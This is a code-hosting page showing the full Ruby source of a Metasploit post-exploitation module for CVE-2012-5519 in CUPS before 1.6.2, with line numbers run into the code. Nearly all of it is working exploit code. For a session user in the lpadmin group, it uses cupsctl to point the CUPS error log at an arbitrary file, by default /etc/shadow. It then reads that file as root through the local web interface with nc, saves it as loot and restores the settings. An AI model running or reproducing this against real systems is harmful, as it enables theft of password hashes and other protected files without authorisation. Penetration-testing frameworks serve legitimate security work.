Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/escalate/cups_root_file_read.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78LP_GROUPS = ['lpadmin', '_lpadmin']910attr_accessor :web_server_was_disabled, :error_log_was_reset1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'CUPS 1.6.1 Root File Read',18'Description' => %q{19This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.20CUPS allows members of the lpadmin group to make changes to the cupsd.conf21configuration, which can specify an Error Log path. When the user visits the22Error Log page in the web interface, the cupsd daemon (running with setuid root)23reads the Error Log path and echoes it as plaintext.2425This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.426as long as the session is in the lpadmin group.2728Warning: if the user has set up a custom path to the CUPS error log,29this module might fail to reset that path correctly. You can specify30a custom error log path with the ERROR_LOG datastore option.31},32'References' => [33['CVE', '2012-5519'],34['OSVDB', '87635'],35['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']36],37'License' => MSF_LICENSE,38'Author' => [39'Jann Horn', # discovery40'joev' # metasploit module41],42'DisclosureDate' => '2012-11-20',43'Platform' => %w[linux osx]44}45)46)47register_options([48OptString.new('FILE', [true, 'The file to steal.', '/etc/shadow']),49OptString.new('ERROR_LOG',50[true, 'The original path to the CUPS error log', '/var/log/cups/error_log'])51])52end5354def check_exploitability55user = cmd_exec('whoami')56user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)57if (user_groups & LP_GROUPS).empty?58print_error 'User not in lpadmin group.'59return Msf::Exploit::CheckCode::Safe60else61print_good 'User in lpadmin group, continuing...'62end6364if ctl_path.blank?65print_error 'cupsctl binary not found in $PATH'66return Msf::Exploit::CheckCode::Safe67else68print_good 'cupsctl binary found in $PATH'69end7071nc_path = whereis('nc')72if nc_path.nil? || nc_path.blank?73print_error 'Could not find nc executable'74return Msf::Exploit::CheckCode::Unknown75else76print_good 'nc binary found in $PATH'77end7879config_path = whereis('cups-config')80config_vn = nil8182if config_path.nil? || config_path.blank?83# cups-config not present, ask the web interface what vn it is84output = get_request('/')85if output =~ /title.*CUPS\s+([\d.]+)/i86config_vn = ::Regexp.last_match(1).strip87end88else89config_vn = cmd_exec('cups-config --version').strip # use cups-config if installed90end9192if config_vn.nil?93print_error 'Could not determine CUPS version.'94return Msf::Exploit::CheckCode::Unknown95end9697print_status "Found CUPS #{config_vn}"9899config_parts = config_vn.split('.')100if (config_vn.to_f < 1.6) || ((config_vn.to_f <= 1.6) && (config_parts[2].to_i < 2)) # <1.6.2101Msf::Exploit::CheckCode::Vulnerable102else103Msf::Exploit::CheckCode::Safe104end105end106107def run108if check_exploitability == Msf::Exploit::CheckCode::Safe109print_error 'Target machine not vulnerable, bailing.'110return111end112113defaults = cmd_exec(ctl_path)114@web_server_was_disabled = defaults =~ /^WebInterface=no$/i115116# first we set the error log to the path intended117cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")118cmd_exec("#{ctl_path} WebInterface=yes")119@error_log_was_reset = true120121# now we go grab it from the ErrorLog route122file = strip_http_headers(get_request('/admin/log/error_log'))123124# and store as loot125f = File.basename(datastore['FILE'])126loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)127print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")128end129130def cleanup131print_status 'Cleaning up...'132cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled133cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset134super135end136137private138139def prev_error_log_path140datastore['ERROR_LOG']141end142143def ctl_path144@ctl_path ||= whereis('cupsctl')145end146147def strip_http_headers(http)148http.gsub(/\A(^.*\r\n)*/, '')149end150151def whereis(exe)152line = cmd_exec("whereis #{exe}")153if line =~ /^\S+:\s*(\S*)/i154::Regexp.last_match(1) # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"155else156line # on osx it just returns '/usr/sbin/cupsctl'157end158end159160def get_request(uri)161output = perform_request(uri, 'nc -j localhost 631')162163if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/164output = perform_request(uri, 'nc localhost 631')165end166167output168end169170def perform_request(uri, nc_str)171# osx requires 3 newlines!172cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))173end174end175176177